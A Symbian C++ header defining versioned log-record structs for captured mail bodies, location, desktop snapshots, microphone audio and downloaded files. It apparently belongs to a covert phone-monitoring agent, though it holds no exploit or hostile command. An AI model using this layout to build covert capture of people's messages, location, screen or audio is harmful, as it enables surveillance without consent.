Core/inc/AdditionalDataStructs.h
/*
* AdditionalDataStructs.h
*
* Created on: 08/set/2010
* Author: Giovanna
*/
#ifndef ADDITIONALDATASTRUCTS_H_
#define ADDITIONALDATASTRUCTS_H_
/*
* Mailraw additional data
*/
#define MAPI_V2_0_PROTO 2009070301
#define MAIL_FULL_BODY 0x00000001
typedef struct TMailRawAdditionalData
{
TUint32 uVersion;
TUint32 uFlags;
TUint32 uSize;
TUint32 lowDateTime;
TUint32 highDateTime;
TMailRawAdditionalData() {
uVersion = MAPI_V2_0_PROTO;
uFlags = MAIL_FULL_BODY;
}
} TMailRawAdditionalData;
/*
* Location additional data
*/
#define LOG_LOCATION_VERSION 2010082401
typedef struct TLocationAdditionalData
{
TUint32 uVersion;
TUint32 uType;
TUint32 uStructNum;
TLocationAdditionalData() {
uVersion = LOG_LOCATION_VERSION;
uStructNum = 0;
}
} TLocationAdditionalData;
/*
* Snapshot additional data
*/
#define LOG_SNAPSHOT_VERSION 2009031201
_LIT(KWindow,"Desktop");
typedef struct TSnapshotAdditionalData
{
TUint32 uVersion;
TUint32 uProcessNameLen;
TUint32 uWindowNameLen;
TUint wWindow[8];
TSnapshotAdditionalData() {
uVersion = LOG_SNAPSHOT_VERSION;
uProcessNameLen = 0; // 0 at the moment because we take the entire screen
uWindowNameLen = 8; // 8, length of string "Desktop", null terminated
TBuf<8> buf(KWindow);
Mem::FillZ(&wWindow,8); // wWindow must be null terminated!
Mem::Copy(&wWindow,buf.Ptr(),buf.Size());
}
} TSnapshotAdditionalData;
/*
* Mic Additional Data
*/
#define MIC_LOG_VERSION 2008121901
#define LOG_AUDIO_CODEC_AMR 0x1;
typedef struct TMicAdditionalData
{
TUint32 uVersion;
TUint32 uSampleRate;
TUint32 lowDateTime;
TUint32 highDateTime;
TMicAdditionalData() {
uVersion = MIC_LOG_VERSION;
uSampleRate = 8000 | LOG_AUDIO_CODEC_AMR;
lowDateTime = 0;
highDateTime = 0;
}
} TMicAdditionalData;
/*
* Download Additional Data
*/
#define LOG_FILE_VERSION 2008122901
typedef struct TDownloadAdditionalData
{
TUint32 uVersion;
TUint32 uFileNamelen;
TBuf<256> fileName;
TDownloadAdditionalData(){
uVersion = LOG_FILE_VERSION;
fileName.FillZ();
}
} TDownloadAdditionalData;
#endif /* ADDITIONALDATASTRUCTS_H_ */